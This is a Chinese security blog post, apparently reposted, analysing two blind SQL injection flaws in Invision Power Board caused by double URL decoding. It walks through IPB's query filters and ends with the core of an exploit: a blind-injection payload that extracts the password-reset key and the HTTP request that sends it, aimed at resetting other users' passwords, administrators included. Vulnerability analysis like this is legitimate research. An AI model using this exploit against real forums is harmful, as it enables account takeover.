关于最近ipb那2个注射漏洞 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【meiwen.anslib.com - 电脑资料】

    5up3rh3i'blog

    漏洞公告详见:http://www.pcsec.org/archives/Invision-Power-Board-Blind-SQL-Injection-Vulnerability.html 很明显又是urldecode()导致的2次编码的问题.我怀疑发现者是直接grep urldecode来找到的...

    比较奇怪的是,这次杂没见老外给出exp呢?另外一直都很热心的...于是有朋友让我exp一下,然后我又找别人...经过几天"你推我,我推他"的过程...终于又flyhat牛百忙之中,丢我一个'exp',然后我一跑,跑不出来.后来一问,才晓得flyhat牛忙完他的工作就到了凌晨1-2点了.于是写了基本筐架还没测试就丢我.只好自己看看修改一下了...

    大概分析了下,原来漏洞的利用还不是那么简单的,里面还有很多xx,看来老外不给exp也是有道理的:

    //ips_kernel\classDbMysqliClient.php

    //ips_kernel\classDbMysqlClient.php

    if ( ! IPS_DB_ALLOW_SUB_SELECTS )

    {

    # On the spot allowance?

    if ( ! $this->allow_sub_select )

    {

    $_tmp = strtolower( $this->_removeAllQuotes($the_query) );

    if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )

    {

    $this->throwFatalError( "You are not allowed to use comments in your SQL query.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );

    return false;

    }

    if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )

    {

    $this->throwFatalError( "UNION query joins are not allowed.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );

    return false;

    }

    else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )

    {

    if ( count( $matches ) > 1 )

    {

    $this->throwFatalError( "SUB SELECT query joins are not allowed.\nAdd \ipsRegistry::DB()->allow_sub_select=1; before any query construct to allow them" );

    return false;

    }

    }

    }

    ipb的query()里还有个'ids',不让使用/**/ 而且还判断了union 和select 根据ipb的那些错误提示,他们的意图很明显,不让'sub select', 而默认就设置了

    ips_kernel\classDb.php

    00053: define( 'IPS_DB_ALLOW_SUB_SELECTS', 0 );

    第一个注射漏洞的sql语句比较复杂,又不让/*注释掉,所以基本上很难exp.第二个漏洞导致sql注射的语句比较简单:

    /* Get validating info.. */

    $validate = $this->DB->buildAndFetch( array( 'select' => '*', 'from' => 'validating', 'where' => "member_id={$in_user_id} and vid='{$in_validate_key}' and lost_pass=1" ) );

    字符型的,我们用and '1'='1就可以闭和了.这个点本身就是一个blind inj的点所以基本也不上union,现在的难点就是 preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches )这个了不让select出现,就没有办法子查询其他数据库的东西,这里没时间去研究有什么办法可以突破select去跨表/库查询?[如果你有什么突破的记得告诉我一声]...

    还有没有其他方法去实现有用的攻击呢?方法还是有点,这个查询本身就发生在validating表里,这个表里的vid本身就是找会密码功能产生的那个'key',只要我们得到这个key,就可以去修改其他用户[包括管理员]的密码了....

    原以为这样exp很完美,但是继续分析发现问题又来了.默认设置再一次挽救了ipb,ipb取回密码有2个模式,一个随机修改后发送到用户的email[这个也是默认的方式],另外一个就是用户自定义密码提交直接修改[详细代码在lostpass.php的public function lostPasswordValidate()里].如果ipb使用了第二中取回密码的方式,那么我们就可以修改别人的密码达到攻击的目的了.....

    exp的关键片段:

    $sql="55512c93eda811273175c3e4262dec87' or If(ASCII(SUBSTRING((vid),".$j.",1))=".$i.",1=1,1=2) and '1'='1";

    $packet ="GET ".$path."index.php?app=core&module=global§ion=lostpass&do=sendform&uid=1&aid=".urlencode(urlencode($sql))." HTTP/1.0\r\n";

    $packet.="Host: ".$host."\r\n";

    $packet.="Connection: Close\r\n\r\n";

    小结:

    默认安全很重要!!!!

    最后感谢flyhat牛的帮忙~~

最新文章